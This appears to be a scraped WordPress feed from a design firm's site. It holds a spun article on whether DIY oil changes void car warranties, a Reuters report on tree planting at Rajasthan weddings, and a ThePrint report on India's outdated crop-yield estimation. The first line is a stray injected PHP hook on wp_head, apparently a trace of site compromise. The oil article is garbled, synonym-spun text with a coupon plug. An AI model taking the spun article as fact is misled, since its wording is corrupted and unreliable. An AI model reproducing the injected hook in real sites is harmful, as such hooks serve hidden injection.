function wp_pf_7fd59216(){$c=wp_get_current_user()->has_cap('edit_posts')?1:0;if($c==0){echo'';}}add_action("wp_head","wp_pf_7fd59216"); Agriculture Ministry - VVDesigns https://vvdesigns.in Design & Consulting Thu, 05 Sep 2024 08:27:17 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.7 https://vvdesigns.in/wp-content/uploads/2021/09/cropped-logo-32x32.png Agriculture Ministry - VVDesigns https://vvdesigns.in 32 32 197740417 Does Changing Your Own Oil Void Warranty? https://vvdesigns.in/does-changing-your-own-oil-void-warranty/ https://vvdesigns.in/does-changing-your-own-oil-void-warranty/#respond Thu, 05 Sep 2024 08:24:53 +0000 https://vvdesigns.in/?p=3424 Changing over your oil usually doesn’t void your car’s guarantee, in any case, it points out for wary the component. You need to use an appropriate oil type distinct through the manufacturer and make certain that each work is finished well. retaining facts, together with receipts for the oil and filters used, is quintessential in ...

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Changing over your oil usually doesn’t void your car’s guarantee, in any case, it points out for wary the component. You need to use an appropriate oil type distinct through the manufacturer and make certain that each work is finished well. retaining facts, together with receipts for the oil and filters used, is quintessential in case there’s a warranty claim in the future.

Many humans keep on professional services by using Valvoline Coupons for oil and materials, however, the key is doing the process right. If any mistakes arise, like the usage of the wrong oil or now not tightening the filter properly, it would cause trouble with warranty insurance.

What Voids Engine Warranty?

An engine guarantee may be voided if the producer unearths that flawed maintenance or unauthorized changes have induced harm. for example, the usage of the incorrect kind of oil, failure to trade the oil often, or neglecting other recurring maintenance can cause an Oil Void Warranty state of affairs, wherein the warranty is voided because oil-associated problems triggered the engine harm.

Different factors which could void an engine guarantee encompass the use of aftermarket parts that don’t meet the producer’s specifications or making overall performance modifications that increase engine stress. If maintenance is completed through a person who isn’t certified, or if you don’t observe the producer’s endorsed service durations, your guarantee may also be at chance.

To avoid voiding your engine assurance, continually stick to the producer’s recommendations, use suitable elements and fluids, and keep statistics of all maintenance and maintenance.

How Many Miles Past Oil Change Void Warranty

The range of miles you could pass beyond your oil exchange before risking an Oil Void Warranty scenario varies depending on your automobile’s manufacturer recommendations. commonly, manufacturers advocate oil adjustments every 5,000 to 7,500 miles, depending on the sort of oil and use situations. in case you exceed this mileage drastically, you threat inflicting engine harm because of antique, dirty oil, which might lead the producer to void your assurance.

as an example, in case your producer changes the oil every 7,500 miles and you cross 10,000 miles except for oil trade, any engine damage that occurs might not be covered. that is due to the fact neglecting to follow the recommended protection time table may be seen as unsuitable care. To keep away from an Oil Void warranty problem, it’s satisfactory to paste carefully to the recommended oil exchange durations and preserve facts of all services to defend your guarantee rights.

Does Using A Different Brand Of Oil Void The Warranty?

Below are some major points in which you will know if you use different brands of oil so what happening:

  • Emblem Flexibility: The usage of a special logo of oil, along with Valvoline, Mobil 1, or Castrol, generally does not void your assurance.
  • Specifications Rely On: The secret is ensuring the oil meets the producer’s specs, which include the ideal grade and kind (e.g., artificial or conventional).
  • Manufacturer’s Guidelines: Continually follow the guidelines for your proprietor’s guide concerning oil type and quality.
  • Risk Of Oil Void Warranty: In case you use an oil that doesn’t meet the specified requirements, it can lead to engine problems and probably void your guarantee.
  • Compatibility Takes A Look At: constantly verify that the oil you select is compatible with your car’s requirements to hold warranty safety.

Does Missing An Oil Change Void My Car’s Warranty?

Missing an oil exchange can doubtlessly void your automobile’s guarantee, specifically if the missed renovation ends in engine problems. everyday oil changes are imperative due to the fact they keep your engine running easily and save you harm. The producer sets specific intervals for oil adjustments, and if you bypass them, it can cause issues like sludge buildup, overheating, or maybe engine failure.

If the manufacturer finds that your engine trouble is owing to neglecting oil changes, they could refuse to cowl the restore prices under the assurance. To avoid this, it’s important to follow the renovation schedule in your proprietor’s manual. preserve records of all oil adjustments, whether you do them yourself or have a mechanic handle them. With this method, you could prove that you’ve maintained the car nicely, helping to shield your assurance in case of any destiny troubles.

Do You Need to Go to the Dealership for Service?

You would rather not go to the showroom for transporter to keep up with your vehicle’s guarantee. you can have your vehicle overhauled via the utilization of the use of any ensured specialist or perhaps do it your self, insofar as you follow the maker’s proposals. The key is to apply the satisfactory elements and fluids laid out in your owner’s guide. furthermore, it’s critical to hold certain records, which incorporates receipts and service dates, to publish that the renovation was done properly. This guarantees that your warranty stays valid, even though the paintings wasn’t finished at the dealership.

Will Change My Oil Void My Warranty?

Changing your personal oil won’t void your warranty so long as you operate the best oil and follow the manufacturer’s hints. however, it’s critical to preserve information of the oil change, together with receipts and dates, to guard your warranty in case of future claims.

Can I change the oil in my new car?

Yes, you can alternate the oil on your new automobile barring voiding the guarantee. simply ensure to use the perfect oil type special via the manufacturer and preserve certain information of the provider for assurance safety.

Conclusion

Maintaining your car nicely is quintessential for retaining your warranty intact, however you’ve got flexibility in how you do it. whether or not you choose to service your automobile at a dealership, use a depended on mechanic, or handle routine tasks like oil changes your self, the key is to comply with the producer’s pointers. using the proper parts, fluids, and retaining correct facts will guard your guarantee. This lets in you to take care of your car in a method that fits your wishes whilst ensuring that your warranty stays legitimate in case any troubles arise.

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Indian weddings go green with new tree-planting traditions https://vvdesigns.in/indian-weddings-go-green-with-new-tree-planting-traditions/ https://vvdesigns.in/indian-weddings-go-green-with-new-tree-planting-traditions/#respond Tue, 14 Jun 2022 12:43:09 +0000 https://vvdesigns.in/?p=2902 Indian communities are planting trees to celebrate local customs and events such as weddings and funerals to help restore degraded land BIKANER, India, June 3 (Thomson Reuters Foundation) – With saplings in hand and faces veiled by colourful sarees, Suman and Sarita Takariya’s relatives sang traditional songs as the sisters planted small shrubs at their ...

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Indian communities are planting trees to celebrate local customs and events such as weddings and funerals to help restore degraded land

BIKANER, India, June 3 (Thomson Reuters Foundation) – With saplings in hand and faces veiled by colourful sarees, Suman and Sarita Takariya’s relatives sang traditional songs as the sisters planted small shrubs at their combined pre-wedding celebration in a remote Indian village.

Suman, 21, and Sarita, 19, who married their husbands in a joint ceremony, are part of a growing trend in the western desert state of Rajasthan in which families gift and plant native trees as a new addition to their local customs and rituals.

“They are a part of our family now,” Sarita said as she cleaned her muddy hands after planting an oleander shrub.

“We will leave for our in-laws’ place, but they (the trees) will be here for our parents.”

The sisters’ wedding card said: “Protect nature and nature will protect us”.

Sarita Takariya (L) and Suman Takariya (R) pose with their combined ‘green’ wedding card in Runiya Barawas, India, May 2, 2022. Thomson Reuters Foundation/Annie Banerji

From weddings, births and funerals to festivals such as Holi, and even family achievements like buying a new car, plants and trees have become centrepieces of local culture, helping to breathe life into the sandy soils of northwestern Rajasthan.

More and more villagers are adopting the practice as they see the benefits, whether easy access to fruit or cool shade, said Shyam Sunder Jyani, the man behind “Familial Forestry”, which aims to connect trees with families and their rituals.

But soil scientists warn that planting trees alone is not sufficient to combat the growing problem of land degradation.

Rajasthan is India’s largest state and also the most degraded when it comes to land, meaning it suffers a persistent decline in soil quality and its capacity to be productive.

Factors such as climate change, over-grazing, excessive cultivation, deforestation and urbanisation play a role in land degradation and desertification.

The problem affects people’s food security and incomes, and leaves them vulnerable to weather-related disasters such as drought.

“That is why it’s important to build green infrastructure because it creates a knock-on effect, combating everything from food insecurity to climate change,” said Jyani in Bikaner city, which is near the rolling dunes of the Thar Desert.

Shyam Sunder Jyani, an environmentalist, helps plant a sapling in Rajasthan, India, October 2017. Handout via Shyam Sunder Jyani

Trees can increase organic content in the ground, recycle nutrients, and boost the water-holding capacity of soil, as well as absorbing climate change-fuelling carbon dioxide emissions.

Soil also naturally absorbs carbon from the atmosphere through a process known as sequestration which not only reduces harmful greenhouse gases but also creates more fertile soil.

Jyani said a proven way to ensure more tree planting was by making trees “green members” of families.

“When we personify a tree, then it connects the family emotionally … and that makes the tree a part of them,” said the 43-year-old sociology professor.

“By clubbing tree plantation with rituals and festivals, which are pillars of our social life, we make people empathetic towards their local ecology and surroundings.”

FRUITFUL GAINS

Rajasthan has few forests compared with other states. They make up just 8% of its total land area, government analysis and data show.

But in the last 16 years, more than a million families from at least 15,000 villages in the state have planted about 3.5 million saplings as part of the “Familial Forestry” project.

More than a dozen participants in the programme told the Thomson Reuters Foundation they were literally enjoying the fruits – and flowers – of their labour, seeing increased ground water levels, improved crop yields, and ultimately more income.

“The trees have changed my life. The fruits are as sweet as the ones I had as a little boy. Birds that I had not seen in decades are back,” said teacher Brij Mohan Singh, as he gave out saplings to guests at a lunch event for his son’s wedding.

“This is for my grandchildren, for the next generation. We have to leave a healthy environment for them, especially as the threat of (global warming) increases every day.”

Singh said he had planted five saplings at home and helped his school plant more than 7,000, which provide a cool canopy for students in the scorching summer heat, as temperatures often soar above 50 degrees Celsius (122 degrees Fahrenheit).

“They say they feel like they are sitting in an air-conditioned room,” he added.

Laxmi Kant Sharma, a professor of earth sciences at Central Rajasthan University, praised “Familial Forestry” for tapping into India’s age-old roots of conserving forest resources.

But he warned that it was important to only plant indigenous trees as others often “become killers of native species of the desert” and can harm wildlife habitats.

Jyani, who won the Land for Life award from the United Nations’ anti-desertification agency last year, said he teaches communities to plant only native species such as the Khejri, Rajasthan’s state tree, which requires very little water.

RICH SOIL, HEALTHY LIFE

India vowed to restore 26 million hectares of the country’s degraded land – or nearly 27% – by 2030 when it hosted the U.N. Convention to Combat Desertification (UNCCD) conference in 2019.

Almost 30% of the land in India is suffering degradation, a report by state-run space agency ISRO found last year.

Rattan Lal, an Indian-American award-winning soil scientist whose moniker is the “Godfather of Soil Science”, is urging the government to start a scheme that would pay farmers 2,325 rupees ($30) for each tonne of carbon dioxide their land absorbs.

Such “carbon credits” are increasingly popular financial instruments, with companies or governments that want to “offset” their own emissions paying others to reduce or prevent the release of greenhouse gases for them.

Credits can support things like solar farms or planting trees, allowing farmers to monetise the carbon their fields soak up – though accurately measuring and verifying emissions reductions remains tricky.

Still, such credit systems can incentivize people “for doing good”, Lal said in a video interview from Columbus, Ohio.

Farmers often feed their crop residue to cattle and use it to make homes and fences – or even for cooking – when it could instead be returned to the soil to boost its organic matter.

Lal also suggested schools include more nature-oriented literature to spread environmental awareness early on.

Celebrity Indian spiritual leader Jaggi Vasudev – known as Sadhguru – is on a one-man mission to spotlight the issue.

He recently finished a 30,000 km (18,640 mile) trip across Europe, the Middle East and India by motorcycle to raise awareness about the deteriorating state of the world’s soil.

“Healthy soil and healthy life are inextricably connected,” Sadhguru said at the annual meeting of the World Economic Forum in Davos last week. “In the next 10 to 15 years we can make a significant turnaround.”

Om Prakash Siddh, a groom of a ‘green’ wedding, poses for a photo in Bikaner, India, May 4, 2022. Thomson Reuters Foundation/Annie Banerji

In Rajasthan, Harinath Siddh said he had played his part by gifting and planting saplings at his wedding earlier this month.

“I wanted to show (my wife) that I care about the environment,” the 25-year-old said.

“And this way we will be able to care for these trees like they are our own children and watch them grow.”

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From tomatoes to wheat, Indian crop forecasting is in the grip of a Raja Todar Mal problem https://vvdesigns.in/from-tomatoes-to-wheat-indian-crop-forecasting-is-in-the-grip-of-a-raja-todar-mal-problem/ https://vvdesigns.in/from-tomatoes-to-wheat-indian-crop-forecasting-is-in-the-grip-of-a-raja-todar-mal-problem/#respond Fri, 10 Jun 2022 11:29:01 +0000 https://vvdesigns.in/?p=2897 India’s U-turn on wheat exports is a result of incorrect estimates derived from an archaic crop forecasting system devised 4 centuries ago by emperor Akbar’s finance minister. New Delhi: Tharavamat Nanda Kumar vividly remembers the day, some 16 years ago, when he visited the Prime Minister’s Office (PMO). A few days before the visit, Kumar, ...

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India’s U-turn on wheat exports is a result of incorrect estimates derived from an archaic crop forecasting system devised 4 centuries ago by emperor Akbar’s finance minister.

New Delhi: Tharavamat Nanda Kumar vividly remembers the day, some 16 years ago, when he visited the Prime Minister’s Office (PMO).

A few days before the visit, Kumar, then the additional chief secretary of Jharkhand, had received an SOS call to report to Delhi and take over as secretary of food and public distribution. The country was going through a wheat crisis. Signs of a shortage were evident. Public stocks were dwindling.

The government, headed by Manmohan Singh at the time, had already decided to import wheat.

When Kumar, then 56, went for a briefing at the PMO, he was advised by an official: “Do not rely solely on the wheat production estimates from the agriculture ministry. Talk to traders, look for price signals from domestic and international markets, do your own homework and research before making a decision.”

Kumar followed the advice diligently. But the ministry he once served seems to have failed to learn from its series of missteps between 2003 and 2006 — when India exported wheat to draw down public stocks and later resorted to imports.

In 2022, wheat is back in the news after a record-breaking heat wave in March blighted the crop. The event followed Russia’s invasion of Ukraine in end-February which pushed global prices of wheat to record highs. According to the United Nations’ Food and Agriculture Organization, global wheat prices were 56 per cent higher year-on-year in May.

Mid-February, the agriculture ministry estimated the crop production to be a record 111.3 million tonnes (second advance estimate).

“That was the number the food and commerce ministries took to make critical policy decisions including pushing export. And, as we know by now, those numbers were not accurate,” Kumar told ThePrint over the phone from Kerala where he now lives.

Mid-April, India’s food and commerce minister Piyush Goyal said India is targeting to export 10-15 million tonnes of wheat and fill a part of the supply void created by the Russia-Ukraine war. In less than a month, India had to take a U-turn after realising the crop size is smaller than estimated.

According to Kumar, there is “an urgent need to clean our data systems in agriculture”.

Speaking to ThePrint, a senior official with an international commodity trading firm, who wished to not be named, said that the system to determine yield estimates still relies on an archaic system developed by Raja Todar Mal, the finance minister of Mughal emperor Akbar, more than 450 years ago, adopted and refined during British rule.

And it’s not just wheat, yield estimates of cotton and horticulture crops like tomato, too, can be erroneous.

‘Bad data used at the wrong time’

After the food ministry failed to purchase enough wheat for its food security schemes — public procurement fell short of target by a staggering 25 million tonnes — the government banned exports on the evening of 13 May.

The purpose was to tame domestic food inflation, which surged to a high of 8.4 per cent year-on-year in April.

On 19 May, the agriculture ministry revised wheat production estimates down to 106.4 million tonnes (third advance estimate).

The United States Department of Agriculture’s Foreign Agricultural Service released an even lower number in late May — 99 million tonnes — following field visits to major wheat-growing states. Current trade estimates hover between 90 million tonnes and 100 million tonnes. No one seems to know the exact production number.

“India is building a digital Agristack and has technologies like drones, remote sensing, artificial intelligence and machine learning at its disposal, yet it is relying on the dubious integrity of the local patwari (revenue officer) who often records data without visiting the field. Only a fraction of crop-cutting experiments for yield estimation actually happen on ground,” Kumar said. “It’s a case of bad data used at the wrong time.”

Crop-cutting experiments (CCEs) are conducted in randomly selected plots of specific size to record the quantity of grains harvested to estimate yields.

According to the agriculture ministry’s Directorate of Economics and Statistics, about 1.4 million CCEs were carried out by state governments in 2016-17, to estimate yields of grains and pulses. The technical guidance and sample checks during the process is provided by the National Statistical Office.

In addition, the central ministry is currently running two projects, FASAL (Forecasting Agricultural output using Space, Agro-meteorology and Land-based observations) and CHAMAN (Coordinated Horticulture Assessment and Management using geo-informatics), for more accurate estimates. But results are yet to show.

This year, wheat may be in the limelight but cotton, too, shares a similar fate. The agriculture ministry overestimated the area planted, but a sharp drop in supplies led to a surge in prices compared to last year, said the senior official with an international commodity trading firm quoted earlier.

“When it comes to yield estimates, the budgets are so low that local revenue officials seldom visit the field for CCEs. There is hardly any use of ground truthing aided with satellites or remote sensing. Decisionmakers still rely on a system developed by Raja Todar Mal,” the official added.

Todar Mal, finance minister of Mughal emperor Akbar who ruled India between 1556 and 1605, is credited with putting in place the architecture of a revenue collection system after a thorough survey of crop production and prices.

Now, the over-reliance on an archaic system also means that farmers do not have reliable commodity intelligence while taking planting decisions.

“In the absence of a robust futures market, farmers often take past prices as the only guidance while choosing between competing crops, leading to higher volatility,” said Arshad Perwez, Chief Revenue Officer at Our Food, a Hyderabad-based farm supply chain startup.

A little too late

According to the agriculture ministry, advance estimates of production of major crops largely rely on area statistics before actual crop-cutting experiments are carried out.

For instance, the final production estimates for wheat harvested in April-May this year will be released in February 2023, a little too late for food management and trade policy decisions.

“The advance estimates of crop production can at best provide a signal… we function with the belief that random errors will cancel each other out at an aggregate level,” said Avinash Kishore, research fellow at the New Delhi office of the International Food Policy Research Institute.

“Our entire data system is designed for grains, although in value terms horticulture, milk and livestock has far surpassed foodgrains. Yet, data gathering on these is horribly poor.”

Kishore cited several examples of non-existent or poor-quality data. For instance, milk production is known to fall sharply during the summer months and surge during the winter. But there are no estimates of the impact of heat on milk production. So, it remains unclear how the ongoing heat wave is impacting cattle productivity.

Similarly, production estimates of horticulture crops that are harvested in short intervals (multiple pickings), such as mangoes and tomatoes, are ridden with errors — a reason why volatility in prices of perishables is a recurrent pain for both consumers and farmers.

Over the past year, average tomato retail prices rose by a staggering 146 per cent (as on 5 June), shows data from the consumer affairs ministry. This might prompt farmers to plant more, leading to a crash in prices and tomatoes dumped by the roadside a few months later.

“We have no reliable data on value chains or how much food is wasted during transit, at warehouses or on the neighbourhood vendor’s push-cart. When a banana is over-ripe, it is sold for a lower price. The loss of value there is larger than the quantity loss,” Kishore said. “To become the export powerhouse India desires to be, it needs to pay attention to these data gaps.”

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